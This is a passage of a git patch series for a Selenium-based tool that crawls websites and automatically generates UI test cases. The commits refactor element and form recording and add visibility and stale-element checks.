-                    final_start_elements.append(selector)
+                    self.final_start_elements.append(selector)
                     
             # adding if button
             if choosen.tag_name == 'button':
-                final_start_elements.append(selector)
+                self.final_start_elements.append(selector)
 
             # forcing loop to quit if not enough cases are created
             iterations += 1
@@ -616,7 +622,7 @@ def get_elements(self):
 
         # begin elem iteration
         iterations = 0
-        for selector in final_start_elements:
+        for selector in self.final_start_elements:
 
             # ensuring we're at start_page
             if self.driver.current_url != start_page:
@@ -633,7 +639,7 @@ def get_elements(self):
                 element = self.driver.find_element(By.CSS_SELECTOR, selector)
             except Exception as e:
                 print('Element not Reachable, removing')
-                final_start_elements.remove(selector)
+                self.final_start_elements.remove(selector)
                 iterations += 1
                 continue
             
@@ -654,7 +660,7 @@ def get_elements(self):
                 element.click()
             except Exception as e:
                 print('Element not Clickable, removing')
-                final_start_elements.remove(selector)
+                self.final_start_elements.remove(selector)
                 continue
 
 
@@ -855,7 +861,7 @@ def get_elements(self):
             iterations += 1
 
             # update process
-            self.update_process(current=iterations, total=len(final_start_elements))
+            self.update_process(current=iterations, total=len(self.final_start_elements))
 
         # quit driver session
         quit_driver(self.driver)

From 53df2423c035ff2d3fbdcea9f34a5f1c43723473 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 10:56:28 -0600
Subject: [PATCH 512/752] adjusted initial-site case generation allocations

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 01d117c7..624996ae 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -189,8 +189,8 @@ def create_site(request, delay=False):
             process_id=process.id,
             start_url=str(site.site_url),
             configs=configs,
-            max_cases=4,
-            max_layers=6
+            max_cases=3,
+            max_layers=8
         )
         
         # check if this is account's first site and onboarding = True

From ec4c1a9aca3b6c57a2f7aa6b45ac0549a8388e33 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 11:14:59 -0600
Subject: [PATCH 513/752] adding exception for sites with not interactive
 elements

---
 app/api/utils/autocaser.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 732d2a48..5ce0b350 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -576,6 +576,10 @@ def get_elements(self):
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
 
+        # ending early if not enough elements to generate with
+        if len(priority_elements) <= 1 and len(non_priority_elements) <= 1:
+            return self.elements
+
         # choosing random priority element
         if len(priority_elements) > 1:
             choosen = priority_elements[

From 2289bbb6baf363fd1761813fb91cb58802faf2b3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 11:44:57 -0600
Subject: [PATCH 514/752] testing new prioritization

---
 app/api/utils/autocaser.py | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5ce0b350..1269a33c 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -428,6 +428,7 @@ def get_priority_elements(self, elements: list) -> dict:
                 if element.tag_name == 'form':
                     # add to priority
                     priority_elements.append(element)
+                    print('added FORM to priority_elements[]')
 
         data = {
             'priority_elements': priority_elements, 
@@ -581,22 +582,22 @@ def get_elements(self):
             return self.elements
 
         # choosing random priority element
-        if len(priority_elements) > 1:
+        if len(priority_elements) > 0:
             choosen = priority_elements[
-                random.randint(0, (len(priority_elements) - 1))
+                random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0
             ]
             self.final_start_elements.append(
                 self.driver.execute_script(self.selector_script, choosen)
             )
 
-        # adding random elements until 
-        # "max_cases" is reached
+        # adding random elements to self.final_start_elements[]
+        # until max_cases" is reached
         iterations = 0
         while (len(self.final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[
-                random.randint(0, (len(non_priority_elements) - 1))
+                random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0
             ]
 
             # checking if chosen element is visible
@@ -768,17 +769,20 @@ def get_elements(self):
                     # choosing random priority elememt 
                     if len(priority_elements) > 0:
                         elem = priority_elements[
-                            random.randint(0, (len(priority_elements) - 1))
+                            random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0
                         ]
+                        print(f'choose priority element | type -> {elem.tag_name}')
 
                     # choosing a random non-priority element
                     elif len(non_priority_elements) > 0:
                         elem = non_priority_elements[
-                            random.randint(0, (len(non_priority_elements) - 1))
+                            random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0
                         ]
+                        print(f'choose non-priority element | type -> {elem.tag_name}')
 
                     # returning early if no elem selected
                     if not elem:
+                        print('no element was selected')
                         # add to layers and ending case
                         layers += 1
                         run = False

From 63e07d14589b886b60f467afdc08dee8212d89dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 12:52:04 -0600
Subject: [PATCH 515/752] modularizing element recording

---
 app/api/utils/autocaser.py | 363 +++++++++++++++++++++++++++----------
 1 file changed, 269 insertions(+), 94 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 1269a33c..18fe17f0 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -109,6 +109,8 @@ def __init__(
             "time":             {'test_data': '12:34', 'action': 'change'},
             "url":              {'test_data': 'https://example.com', 'action': 'change'},
             "week":             {'test_data': '2024-W15', 'action': 'change'},
+            "textarea":         {'test_data': 'This is longer example text for testing.', 'action': 'change'},
+            "None":             {'test_data': None, 'action': None},
         }
 
         # setting blacklist for input types to ignore
@@ -246,7 +248,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
                     value = i.get_attribute('value')
-                    type = i.get_attribute('type')
+                    type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -273,7 +275,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
-                    type = i.get_attribute('type')
+                    type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -283,8 +285,8 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         'placeholder': placeholder,
                         'value': None,
                         'type': type,
-                        'data': 'This is longer example text for testing.',
-                        'action': 'change',
+                        'data': self.input_types['textarea']['test_data'],
+                        'action': self.input_types['textarea']['action'],
                         'path': relative_url,
                         'img': img,
                         'elements': None,
@@ -313,7 +315,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         input_selector = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
                         value = i.get_attribute('value')
-                        type = i.get_attribute('type')
+                        type = str(i.get_attribute('type'))
                         img = self.get_element_image(element=i)
                         relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -354,7 +356,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if self.is_element_visible(btn):
                     # get button data
                     btn_selector = self.driver.execute_script(self.selector_script, btn)
-                    type = btn.get_attribute('type')
+                    type = str(btn.get_attribute('type'))
                     btn_img = self.get_element_image(element=btn)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -444,22 +446,22 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
-        # inputs = self.driver.find_elements(By.TAG_NAME, 'input')
-        # textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
-        inputs_textareas_buttons = buttons # inputs + textareas +
+        inputs = self.driver.find_elements(By.TAG_NAME, 'input')
+        textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
+        inputs_textareas_buttons = inputs + textareas + buttons
 
         # get all form inputs, textareas, & buttons
         form_elems = []
         for form in forms:
             # form inputs
             form_inputs = form.find_elements(By.TAG_NAME, 'input')
-            inputs_textareas_buttons += form_inputs
+            form_elems += form_inputs
             # textarea inputs
             form_textares = form.find_elements(By.TAG_NAME, 'textarea')
-            inputs_textareas_buttons += form_textares
+            form_elems += form_textares
             # textarea inputs
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
-            inputs_textareas_buttons += form_buttons
+            form_elems += form_buttons
         
         # then remove duplicates
         for elem in inputs_textareas_buttons:
@@ -546,6 +548,104 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
 
 
 
+    def record_new_element(self, elem: object, sub_elements: list) -> dict:
+        """
+            returns -> {
+                'sub_elements': [],
+                'run': bool,
+                'added': bool,
+            }
+        """
+        # get sub element info
+        elem_selector = self.driver.execute_script(self.selector_script, elem)
+        elem_img = self.get_element_image(element=elem)
+        relative_url = self.get_relative_url(self.driver.current_url)
+
+        # setting defaults
+        run = True
+        added = False
+        
+        # found new element, record, click, & continue
+        if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+            # record element
+            sub_elements.append({
+                'selector': elem_selector,
+                'elem_type': elem.tag_name,
+                'placeholder': None,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': 'click',
+                'path': relative_url,
+                'img': elem_img,
+                'elements': None,
+            })
+
+            # click element
+            try:
+                elem.click()
+            except Exception as e:
+                print('Element not Clickable, removing')
+                sub_elements.pop()
+
+            # add to layers and ending internal loop
+            added = True
+            run = True
+
+        
+        # found new input or textarea
+        elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
+            
+            type = str(elem.get_attribute('type'))
+            value = elem.get_attribute('value')
+            
+            if elem.tag_name == 'textarea':
+                type = 'textarea'
+
+            # record element
+            sub_elements.append({
+                'selector': elem_selector,
+                'elem_type': elem.tag_name,
+                'placeholder': elem.get_attribute('placeholder'),
+                'value': value,
+                'type': type,
+                'data': self.input_types[type]['test_data'],
+                'action': self.input_types[type]['action'],
+                'path': relative_url,
+                'img': elem_img,
+                'elements': None,
+            })
+            
+            # add to layers and ending internal loop
+            added = True
+            run = True
+        
+
+        # found new form, record and end run
+        elif elem.tag_name == 'form':
+            
+            # record form into sub_elements list
+            sub_elements = self.record_forms(
+                elements=sub_elements, 
+                form=elem
+            )
+
+            # add to layers and ending case
+            added = True
+            run = False
+
+        data = {
+            'sub_elements': sub_elements,
+            'run': run,
+            'added': added
+        }
+
+        return data 
+        
+
+
+
     def get_elements(self):
 
         # get site page
@@ -695,57 +795,95 @@ def get_elements(self):
                     cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
                     # iterating through each elem 
+                    recorded_element = False
                     for elem in cleaned_elements:
 
                         # get sub element info
-                        elem_selector = self.driver.execute_script(self.selector_script, elem)
-                        elem_img = self.get_element_image(element=elem)
-                        relative_url = self.get_relative_url(self.driver.current_url)
+                        # elem_selector = self.driver.execute_script(self.selector_script, elem)
+                        # elem_img = self.get_element_image(element=elem)
+                        # relative_url = self.get_relative_url(self.driver.current_url)
                         
-                        # found new element, record, click, & continue
-                        if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                            # record element
-                            sub_elements.append({
-                                'selector': elem_selector,
-                                'elem_type': elem.tag_name,
-                                'placeholder': None,
-                                'value': None,
-                                'type': None,
-                                'data': None,
-                                'action': 'click',
-                                'path': relative_url,
-                                'img': elem_img,
-                                'elements': None,
-                            })
+                        # # found new element, record, click, & continue
+                        # if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                        #     # record element
+                        #     sub_elements.append({
+                        #         'selector': elem_selector,
+                        #         'elem_type': elem.tag_name,
+                        #         'placeholder': None,
+                        #         'value': None,
+                        #         'type': None,
+                        #         'data': None,
+                        #         'action': 'click',
+                        #         'path': relative_url,
+                        #         'img': elem_img,
+                        #         'elements': None,
+                        #     })
+
+                        #     # click element
+                        #     try:
+                        #         elem.click()
+                        #     except Exception as e:
+                        #         print('Element not Clickable, removing')
+                        #         sub_elements.pop()
+
+                        #     # add to layers and ending internal loop
+                        #     layers += 1
+                        #     break
 
-                            # click element
-                            try:
-                                elem.click()
-                            except Exception as e:
-                                print('Element not Clickable, removing')
-                                sub_elements.pop()
-
-                            # add to layers and ending internal loop
-                            layers += 1
-                            break
                         
-                        # found new form, record and end run
-                        elif elem.tag_name == 'form':
+                        # # found new input or textarea
+                        # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
+                            
+                        #     type = str(elem.get_attribute('type'))
+                        #     value = elem.get_attribute('value')
+                            
+                        #     if elem.tag_name == 'textarea':
+                        #         type = 'textarea'
+
+                        #     # record element
+                        #     sub_elements.append({
+                        #         'selector': elem_selector,
+                        #         'elem_type': elem.tag_name,
+                        #         'placeholder': elem.get_attribute('placeholder'),
+                        #         'value': value,
+                        #         'type': type,
+                        #         'data': self.input_types[type]['test_data'],
+                        #         'action': self.input_types[type]['action'],
+                        #         'path': relative_url,
+                        #         'img': elem_img,
+                        #         'elements': None,
+                        #     })
+                            
+                        #     # add to layers and ending internal loop
+                        #     layers += 1
+                        #     break
+                        
+
+                        # # found new form, record and end run
+                        # elif elem.tag_name == 'form':
                             
                             # record form into sub_elements list
-                            sub_elements = self.record_forms(
-                                elements=sub_elements, 
-                                form=elem
-                            )
-
-                            # add to layers and ending case
-                            layers += 1
-                            run = False
-                            break
-                    
+                            # sub_elements = self.record_forms(
+                            #     elements=sub_elements, 
+                            #     form=elem
+                            # )
+
+                            # # add to layers and ending case
+                            # layers += 1
+                            # run = False
+                            # break
+                        
+                        # record element and increment if necessary
+                        data = self.record_new_element(elem, sub_elements) 
+                        run = data['run']
+                        layers += 1 if data['added'] else 0
+                        sub_elements = data['sub_elements']
+                        recorded_element = data['added']
+                        
                     # add to layers
-                    layers += 1
+                    if not recorded_element:
+                        layers += 1
 
 
                 # check if page is different but still on site
@@ -788,52 +926,89 @@ def get_elements(self):
                         run = False
                         break
 
-                    # get sub element info
-                    elem_selector = self.driver.execute_script(self.selector_script, elem)
-                    elem_img = self.get_element_image(element=elem)
-                    relative_url = self.get_relative_url(self.driver.current_url)
+                    # # get sub element info
+                    # elem_selector = self.driver.execute_script(self.selector_script, elem)
+                    # elem_img = self.get_element_image(element=elem)
+                    # relative_url = self.get_relative_url(self.driver.current_url)
+
+                    # if elem.tag_name == 'a' or elem.tag_name == 'button':
+                    #     # record element
+                    #     sub_elements.append({
+                    #         'selector': elem_selector,
+                    #         'elem_type': elem.tag_name,
+                    #         'placeholder': None,
+                    #         'value': None,
+                    #         'type': None,
+                    #         'data': None,
+                    #         'action': 'click',
+                    #         'path': relative_url,
+                    #         'img': elem_img,
+                    #         'elements': None,
+                    #     })
+
+                    #     # add to layers
+                    #     layers += 1
+
+                    #     # click element
+                    #     try:
+                    #         elem.click()
+                    #     except Exception as e:
+                    #         print('Element not Clickable, removing')
+                    #         sub_elements.pop()
 
-                    # check the type of element
-                    if elem.tag_name == 'form':
+                    
+                    # # found new input or textarea
+                    # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
+                        
+                    #     type = str(elem.get_attribute('type'))
+                    #     value = elem.get_attribute('value')
+                        
+                    #     if elem.tag_name == 'textarea':
+                    #         type = 'textarea'
+
+                    #     # record element
+                    #     sub_elements.append({
+                    #         'selector': elem_selector,
+                    #         'elem_type': elem.tag_name,
+                    #         'placeholder': elem.get_attribute('placeholder'),
+                    #         'value': value,
+                    #         'type': type,
+                    #         'data': self.input_types[type]['test_data'],
+                    #         'action': self.input_types[type]['action'],
+                    #         'path': relative_url,
+                    #         'img': elem_img,
+                    #         'elements': None,
+                    #     })
+                        
+                    #     # add to layers and ending internal loop
+                    #     layers += 1
+                    #     break
+                        
+                    
+                    # # check the type of element
+                    # elif elem.tag_name == 'form':
                         # record form into sub_elements list
-                        sub_elements = self.record_forms(
-                            elements=sub_elements,
-                            form=elem
-                        )
-
-                        # add to layers and ending case
-                        layers += 1
-                        run = False
-                        break
-                
-                    elif elem.tag_name == 'a' or elem.tag_name == 'button':
-                        # record element
-                        sub_elements.append({
-                            'selector': elem_selector,
-                            'elem_type': elem.tag_name,
-                            'placeholder': None,
-                            'value': None,
-                            'type': None,
-                            'data': None,
-                            'action': 'click',
-                            'path': relative_url,
-                            'img': elem_img,
-                            'elements': None,
-                        })
+                        # sub_elements = self.record_forms(
+                        #     elements=sub_elements,
+                        #     form=elem
+                        # )
+
+                        # # add to layers and ending case
+                        # layers += 1
+                        # run = False
+                        # break
+            
+            
+                    # record element and increment if necessary
+                    data = self.record_new_element(elem, sub_elements) 
+                    run = data['run']
+                    layers += 1 if data['added'] else 0
+                    sub_elements = data['sub_elements']
 
-                        # add to layers
-                        layers += 1
 
-                        # click element
-                        try:
-                            elem.click()
-                        except Exception as e:
-                            print('Element not Clickable, removing')
-                            sub_elements.pop()
-                    
                     # catching all other situations
                     # naving back to previous_url   
-                    else:
+                    if not data['added']:
                         print('no coditions were met')
                         # add to layers
                         layers += 1

From 12aebba2c2d2e4b4ab4f2feeb28f6dcbe4357219 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:04:42 -0600
Subject: [PATCH 516/752] added stale element catcher

---
 app/api/utils/autocaser.py | 406 +++++++++++++++++++------------------
 1 file changed, 210 insertions(+), 196 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 18fe17f0..bbef69cf 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -73,10 +73,14 @@ def __init__(
         self.visible_script = (
             """
             const isVisible = (elm) => {
-                if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){
+                try{
+                    if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){
+                        return false
+                    } else {
+                        return true
+                    }
+                }catch{
                     return false
-                } else {
-                    return true
                 }
             }
 
@@ -203,199 +207,6 @@ def get_elem_text(self, selector: str) -> str:
 
 
 
-    def record_forms(self, elements: list, form: object=None) -> list:
-
-        # wait for page to load 
-        driver_wait(
-            driver=self.driver,
-            interval=self.configs.get('interval'),
-            max_wait_time=self.configs.get('max_wait_time'),
-            min_wait_time=self.configs.get('min_wait_time'),
-        )
-
-        # building forms list
-        if form is None:
-            # get all forms on the page
-            forms = self.driver.find_elements(By.TAG_NAME, "form")
-        else:
-            # adding single form to que
-            forms = [form]
-        
-        # begin iteration of <form> gathering
-        for form in forms:
-            
-            # get form selector
-            form_selector = self.driver.execute_script(self.selector_script, form)
-
-            print(f'recording form -> {form_selector}')
-
-            # getting form text
-            elem_text = self.get_elem_text(selector=form_selector)
-
-            # get form image
-            form_img = self.get_element_image(element=form)
-            
-            # defining form.elements
-            sub_elements = []
-
-            # get all input fields in form
-            inputs = form.find_elements(By.TAG_NAME, "input")
-            # iterate through each input
-            for i in inputs:
-                
-                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
-                    # get input data
-                    input_selector = self.driver.execute_script(self.selector_script, i)
-                    placeholder = i.get_attribute('placeholder')
-                    value = i.get_attribute('value')
-                    type = str(i.get_attribute('type'))
-                    img = self.get_element_image(element=i)
-                    relative_url = self.get_relative_url(self.driver.current_url)
-
-                    sub_elements.append({
-                        'selector': input_selector,
-                        'elem_type': i.tag_name,
-                        'placeholder': placeholder,
-                        'value': value,
-                        'type': type,
-                        'data': self.input_types[type]['test_data'],
-                        'action': self.input_types[type]['action'],
-                        'path': relative_url,
-                        'img': img,
-                        'elements': None,
-                    })
-
-
-            # get all textarea fields in form
-            textareas = form.find_elements(By.TAG_NAME, "textarea")
-            # iterate through each input
-            for i in textareas:
-                
-                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
-                    # get input data
-                    input_selector = self.driver.execute_script(self.selector_script, i)
-                    placeholder = i.get_attribute('placeholder')
-                    type = str(i.get_attribute('type'))
-                    img = self.get_element_image(element=i)
-                    relative_url = self.get_relative_url(self.driver.current_url)
-
-                    sub_elements.append({
-                        'selector': input_selector,
-                        'elem_type': i.tag_name,
-                        'placeholder': placeholder,
-                        'value': None,
-                        'type': type,
-                        'data': self.input_types['textarea']['test_data'],
-                        'action': self.input_types['textarea']['action'],
-                        'path': relative_url,
-                        'img': img,
-                        'elements': None,
-                    })
-
-
-            # get all iframes elements in form
-            iframes = form.find_elements(By.TAG_NAME, "iframe")
-            # iterate through iframes and save data
-            for iframe in iframes:
-                
-                # get iframe data
-                iframe_selector = self.driver.execute_script(self.selector_script, iframe)
-                iframe_img = self.get_element_image(element=iframe)
-                relative_url = self.get_relative_url(self.driver.current_url)
-                
-                # get all inputs for iframe
-                iframe_inputs = iframe.find_elements(By.TAG_NAME, "input")
-
-                # iterate through each input
-                iframe_elements = []
-                for i in iframe_inputs:
-                    
-                    if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
-                        # get input data
-                        input_selector = self.driver.execute_script(self.selector_script, i)
-                        placeholder = i.get_attribute('placeholder')
-                        value = i.get_attribute('value')
-                        type = str(i.get_attribute('type'))
-                        img = self.get_element_image(element=i)
-                        relative_url = self.get_relative_url(self.driver.current_url)
-
-                        # save internal iframe data
-                        iframe_elements.append({
-                            'selector': input_selector,
-                            'elem_type': i.tag_name,
-                            'placeholder': placeholder,
-                            'value': value,
-                            'type': type,
-                            'data': self.input_types[type]['test_data'],
-                            'action': self.input_types[type]['action'],
-                            'path': relative_url,
-                            'img': img,
-                            'elements': None,
-                        })
-                
-                # save sub elem data
-                sub_elements.append({
-                    'selector': iframe_selector,
-                    'elem_type': iframe.tag_name,
-                    'placeholder': None,
-                    'value': None,
-                    'type': None,
-                    'data': None,
-                    'action': 'switch_to_frame',
-                    'path': relative_url,
-                    'img': iframe_img,
-                    'elements': iframe_elements,
-                })
-
-
-            # get all button elements in form
-            btns = form.find_elements(By.TAG_NAME, "button")
-            # iterate through each btn
-            for btn in btns:
-
-                if self.is_element_visible(btn):
-                    # get button data
-                    btn_selector = self.driver.execute_script(self.selector_script, btn)
-                    type = str(btn.get_attribute('type'))
-                    btn_img = self.get_element_image(element=btn)
-                    relative_url = self.get_relative_url(self.driver.current_url)
-
-                    sub_elements.append({
-                        'selector': btn_selector,
-                        'elem_type': 'button',
-                        'placeholder': None,
-                        'value': None,
-                        'type': type,
-                        'data': None,
-                        'elements': None,
-                        'action': 'click',
-                        'path': relative_url,
-                        'img': btn_img,
-                        'elements': None,
-                    })
-
-
-            # save elem data
-            elements.append({
-                'selector': form_selector,
-                'elem_type': 'form',
-                'elem_text': elem_text,
-                'value': None,
-                'type': None,
-                'data': None,
-                'action': None,
-                'path': relative_url,
-                'img': form_img,
-                'elements': sub_elements,
-
-            })
-        
-        # return elements array 
-        return elements
-
-
-
-
     def get_priority_elements(self, elements: list) -> dict:
         priority_words = [
             'cart', 'checkout', 'add to cart', 'add to the cart', 
@@ -564,6 +375,15 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
         # setting defaults
         run = True
         added = False
+
+        # check if element is visible
+        if not self.is_element_visible(elem):
+            data = {
+                'run': run,
+                'added': added,
+                'sub_element': sub_elements
+            }
+            return data
         
         # found new element, record, click, & continue
         if elem.tag_name == 'a' or elem.tag_name == 'button':
@@ -646,6 +466,200 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
 
 
 
+    def record_forms(self, elements: list, form: object=None) -> list:
+
+        # wait for page to load 
+        driver_wait(
+            driver=self.driver,
+            interval=self.configs.get('interval'),
+            max_wait_time=self.configs.get('max_wait_time'),
+            min_wait_time=self.configs.get('min_wait_time'),
+        )
+
+        # building forms list
+        if form is None:
+            # get all forms on the page
+            forms = self.driver.find_elements(By.TAG_NAME, "form")
+        else:
+            # adding single form to que
+            forms = [form]
+        
+        # begin iteration of <form> gathering
+        for form in forms:
+            
+            # get form selector
+            form_selector = self.driver.execute_script(self.selector_script, form)
+
+            print(f'recording form -> {form_selector}')
+
+            # getting form text
+            elem_text = self.get_elem_text(selector=form_selector)
+
+            # get form image
+            form_img = self.get_element_image(element=form)
+            
+            # defining form.elements
+            sub_elements = []
+
+            # get all input fields in form
+            inputs = form.find_elements(By.TAG_NAME, "input")
+            # iterate through each input
+            for i in inputs:
+                
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                    # get input data
+                    input_selector = self.driver.execute_script(self.selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    value = i.get_attribute('value')
+                    type = str(i.get_attribute('type'))
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': value,
+                        'type': type,
+                        'data': self.input_types[type]['test_data'],
+                        'action': self.input_types[type]['action'],
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+
+            # get all textarea fields in form
+            textareas = form.find_elements(By.TAG_NAME, "textarea")
+            # iterate through each input
+            for i in textareas:
+                
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                    # get input data
+                    input_selector = self.driver.execute_script(self.selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    type = str(i.get_attribute('type'))
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': None,
+                        'type': type,
+                        'data': self.input_types['textarea']['test_data'],
+                        'action': self.input_types['textarea']['action'],
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+
+            # get all iframes elements in form
+            iframes = form.find_elements(By.TAG_NAME, "iframe")
+            # iterate through iframes and save data
+            for iframe in iframes:
+                
+                # get iframe data
+                iframe_selector = self.driver.execute_script(self.selector_script, iframe)
+                iframe_img = self.get_element_image(element=iframe)
+                relative_url = self.get_relative_url(self.driver.current_url)
+                
+                # get all inputs for iframe
+                iframe_inputs = iframe.find_elements(By.TAG_NAME, "input")
+
+                # iterate through each input
+                iframe_elements = []
+                for i in iframe_inputs:
+                    
+                    if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                        # get input data
+                        input_selector = self.driver.execute_script(self.selector_script, i)
+                        placeholder = i.get_attribute('placeholder')
+                        value = i.get_attribute('value')
+                        type = str(i.get_attribute('type'))
+                        img = self.get_element_image(element=i)
+                        relative_url = self.get_relative_url(self.driver.current_url)
+
+                        # save internal iframe data
+                        iframe_elements.append({
+                            'selector': input_selector,
+                            'elem_type': i.tag_name,
+                            'placeholder': placeholder,
+                            'value': value,
+                            'type': type,
+                            'data': self.input_types[type]['test_data'],
+                            'action': self.input_types[type]['action'],
+                            'path': relative_url,
+                            'img': img,
+                            'elements': None,
+                        })
+                
+                # save sub elem data
+                sub_elements.append({
+                    'selector': iframe_selector,
+                    'elem_type': iframe.tag_name,
+                    'placeholder': None,
+                    'value': None,
+                    'type': None,
+                    'data': None,
+                    'action': 'switch_to_frame',
+                    'path': relative_url,
+                    'img': iframe_img,
+                    'elements': iframe_elements,
+                })
+
+
+            # get all button elements in form
+            btns = form.find_elements(By.TAG_NAME, "button")
+            # iterate through each btn
+            for btn in btns:
+
+                if self.is_element_visible(btn):
+                    # get button data
+                    btn_selector = self.driver.execute_script(self.selector_script, btn)
+                    type = str(btn.get_attribute('type'))
+                    btn_img = self.get_element_image(element=btn)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': btn_selector,
+                        'elem_type': 'button',
+                        'placeholder': None,
+                        'value': None,
+                        'type': type,
+                        'data': None,
+                        'elements': None,
+                        'action': 'click',
+                        'path': relative_url,
+                        'img': btn_img,
+                        'elements': None,
+                    })
+
+
+            # save elem data
+            elements.append({
+                'selector': form_selector,
+                'elem_type': 'form',
+                'elem_text': elem_text,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': None,
+                'path': relative_url,
+                'img': form_img,
+                'elements': sub_elements,
+
+            })
+        
+        # return elements array 
+        return elements
+
+
+
+
+
     def get_elements(self):
 
         # get site page

From 12ecf2dceb8cf15341034ef936e1033a05ad3511 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:10:08 -0600
Subject: [PATCH 517/752] fixing the order of stale element checks

---
 app/api/utils/autocaser.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index bbef69cf..5ed643cb 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -367,11 +367,6 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
                 'added': bool,
             }
         """
-        # get sub element info
-        elem_selector = self.driver.execute_script(self.selector_script, elem)
-        elem_img = self.get_element_image(element=elem)
-        relative_url = self.get_relative_url(self.driver.current_url)
-
         # setting defaults
         run = True
         added = False
@@ -384,6 +379,11 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
                 'sub_element': sub_elements
             }
             return data
+
+        # get sub element info
+        elem_selector = self.driver.execute_script(self.selector_script, elem)
+        elem_img = self.get_element_image(element=elem)
+        relative_url = self.get_relative_url(self.driver.current_url)
         
         # found new element, record, click, & continue
         if elem.tag_name == 'a' or elem.tag_name == 'button':
@@ -417,9 +417,9 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
